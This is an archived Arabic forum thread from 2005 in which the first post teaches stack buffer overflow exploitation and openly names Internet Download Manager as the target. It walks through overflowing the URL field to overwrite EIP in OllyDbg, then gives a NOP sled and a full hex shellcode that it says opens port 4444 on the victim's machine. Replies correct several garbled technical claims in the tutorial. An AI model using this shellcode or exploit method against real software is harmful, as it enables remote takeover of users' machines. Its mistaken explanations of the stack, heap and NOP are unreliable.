الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

مفهوم الStack OverFlOw

مغلق
بدأه bigboss1988 في 7 يوليو 2005 · 4 رد · 798 مشاهدة · في لغة Assembly لأنظمة 16, 32, 64 بت
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

--------------------------------------------------------------------------------------------------------

*****************************************************************

__________________________________________________________________________

بسم الله الرحمن الرحيم

مفهوم الStack ?

TANY.jpg

الكوب : رمزتها بال ESP

push : تعنى "احفظ داخل الESP " واشرت اليها بحفظ اسم"eslam"

pop : تعنى "اخذ اى قيمه داخل الESP " واشرت اليها باخذ

اسم "eslam "

ملحوظه : عندما تقوم الpush بحفظ اسم او اى مايكون لو كبر الاسم

تقوم بتجزئته مثلا push 449379 و push 468975

هذه الارقام تقابلها الحروف بالHEX بمعنى : esl = 449379 ستاخذ الجزء الاول

و am=468975 لتاخذ الجزء الثانى ,,, لتصبح "eslam "

وايضا الpop عندما تاخذ قيمه من الESP نفس عمل الpush

pop 449379 , pop 468975 الخ....

Stack : يتم تخزين فيه المتغيرات كلها ما عدا التى تتعامل مع الذاكره

مثل الpointer , array "المصفوفات" و "المؤاشرات" يعتمدوا على الHeap ولنا راجعه فى الجزء

الثالث ان شاء الله

تعرف على الStack OverFlOw ?

Internet Download Manager معظم العرب يستخدمونه سيكون ضحيتنا اليوم :D اخر اصدار

ارفقه فى برنامج الOlly ثم اضغط F9 ستشاهد البرنامج يعمل

1- مدخل "URL "

dddddddddddfdf.jpg

2- قم بالكتابه فى المدخل بحرف A لحد متزهق :D

SAKDSKD.JPG

اظغط ENTER لتتفاجاه فى الOllY

3- تغير الEIP الى 0x41414141

DGDFGFG.JPG

ملحوظه ال41 = A بالHEX وتختلف فى ان كان الحرف كبير او صغير a = 61

ما هو الEIP ?

هو ريجستر : امر الرجوع لبدايه راس البرنامج , لا تقلق ستشاهد بالتفصيل مهمته.

ايضا هذا الرجيستر يستخدم فى الفيروسات !! نعم

كيف يتم زرع الVIRUS فى البرنامج , والبرنامج يعمل بكل طاقته الحيويه ولا يتاثر!!

ان شاء الله هتكون سلسله منفرده بعد لما اخلص ديه ان شاء الله

فى الدرس السابق لم اسمى الاسماء يعنى مثلا

1- بدايه راس البرنامج المفروض كانت تسمى ال "Ep "

2- وامر رجوع البرنامج يسمى " EIP " لبدايه راس البرنامج

نحن شاهدنا الثغره من الخارج تعالى نراها من الداخل!!

تحليل الثغره من الداخل!!!

TTTTTT.JPG

طبعا الصوره شرحت نفسيها :)

كيف تكتب استثمار للStack OverFlOw ?

1-كتابه header للبرنامج بمعنى تحويل البرنامج لopcode او SHellCoDE لماذا!!

لان الثغره محليه بمعنى تشتغل على جهازك فقط نحن نقوم بتحويلها للSHEellcode

ليقوم الضحيه بتشغيل الshellcode وطبعا هو البرنامج ولكن محول الى /x77/x45/xd5 وهكذا

2- وضع NOP = 90909090 بالHEX لتقوم بالكتابه على ال"EIP" بدلا من حرف الA

وتعنى اوقف النقطه هذه No Operation Point

3- ثم نضع الSHellCode الذى نريده هذا يفتح Port 4444 فى جهاز الضحيه

"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"

"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"

"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"

"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"

"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"

"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"

"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"

"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"

"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"

"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"

"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"

"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"

"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"

"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"

"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"

"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"

"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"

"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"

"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"

"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"

"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"

"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"

"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"

"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"

"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

3- ثم نضع رقم الداله المصابه من الESP بالOlly

aaaaaaaa.jpg

الشكل العام لها....

الدوال المميته وكيف نحمى انفسنا منها ؟!!

1- gets()

2-fgets()

3-strcpy()

4-strncpy()

5-strcat()

6-strncat()

7-sprintf()

8-snprintf()

9-sscanf()

10-vscanf()

11-fscanf()

12-lstrcat

الحل لهم قوم بغلق الargument واغلق دائما اى string

الى هنا انتى بنا الجزء الثانى بحمد لله

#2

السلام عليكم

موضوع مميز كما عودتنا يا بج بوس لدى بعض الاستفسارات فى هذه الجزئيه :

اقتباس
ملحوظه : عندما تقوم الpush بحفظ اسم او اى مايكون لو كبر الاسم

تقوم بتجزئته مثلا push 449379 و push 468975

هذه الارقام تقابلها الحروف بالHEX بمعنى : esl = 449379 ستاخذ الجزء الاول

و am=468975 لتاخذ الجزء الثانى ,,, لتصبح "eslam "

وايضا الpop عندما تاخذ قيمه من الESP نفس عمل الpush

pop 449379 , pop 468975 الخ....

Stack : يتم تخزين فيه المتغيرات كلها ما عدا التى تتعامل مع الذاكره

مثل الpointer , array "المصفوفات" و "المؤاشرات" يعتمدوا على الHeap ولنا راجعه فى الجزء

الثالث ان شاء الله

اولاً على حسب عليمى لا تستطيع عمل push لثلاثه بايت كما فعلت فى المثال push 468975 ولكن لابد ان يكون 4 بايت, كذلك هناك بعض اللخبطه فى الحروف لانك وضعت 6 بايت والكلمه تتكون من خمس حروف فقط..

ايضاً حسب معلوماتي فالـstack ليس للتخزين الدائم كما هو الحال بانسبه للـheap وإنما هو للتخزين المؤقت, او لتمرير المتغيرات بين الدوال, وإذا كان نوع المتغير مصفوفه فيتم تمرير مؤشر للداله ومن ثم تتعامل الداله معى المصفوفه والتى توجد فى الـheap عبر المؤشر..

وننتظر منك المزيد من الدروس القيمه....

والسلام عليكم

تم تعديل هذه المشاركة بواسطة احمد غريب في 7 يوليو 2005 في 23:44

لا إله إلا الله محمد رسول الله

busbar : يجب ان تدرك انه هناك حد ادنى للمعرفة المطلوبة قبل البدء في عمل أي شئ.

#3

النقطه الاولى

يا اخ احمد كتبت الارقام كانه مثال وايضا هذه الارقام ليست حروف الhex لكلمه eslam

النقطه الثانيه لم افهما جيدا؟!!

#4

طيب اخى بج بوص النقظه الثانيه ما قصدته هو ان الـstack له وظيفه تختلف عن وظيفة الـHeap الStack هو للتخزين المؤقت يعنى تخزن قيمة مسجل معين او dword فى الstack ثم تسترجعه بعد فتره وجيزه او بعد إنتهاء عمل داله معينه...

اما الـheap فطريقته مختلفه لانك تخزن فيه المتغيرات وتستدعيها وقتما تشاء, يعنى يمكن إستخدام متغير معين مثل المصفوفات فى اى وقت وإستدعاء القيمه فى اى وقت من عمل البرنامج...

ارجو اكون وضحت إن شاء الله

والسلام عليكم

لا إله إلا الله محمد رسول الله

busbar : يجب ان تدرك انه هناك حد ادنى للمعرفة المطلوبة قبل البدء في عمل أي شئ.

#5
bigboss1988 كتب:
الدوال المميته وكيف نحمى انفسنا منها ؟!!

1- gets()

2-fgets()

3-strcpy()

4-strncpy()

5-strcat()

6-strncat()

7-sprintf()

8-snprintf()

9-sscanf()

10-vscanf()

11-fscanf()

12-lstrcat

الحل لهم قوم بغلق الargument واغلق دائما اى string

السلام عليكم

الف شكر يا اخ بيج بوس على الدرس الرائع والدرس فعلا بسيط جدا ومبسط

ولدي استفسار كيف تكون الدوال التي ذكرتها سابقا مميتة؟ وكيف يتم غلق ال argument وعلق ال string؟

رجاء الإفادة

تحياتي

Web Developer using JSP & Servlet

اللهم انصر الإسلام والمسلمين وأهلك الكفرة أعداء الدين

هذا الموضوع مغلق.

مواضيع مشابهة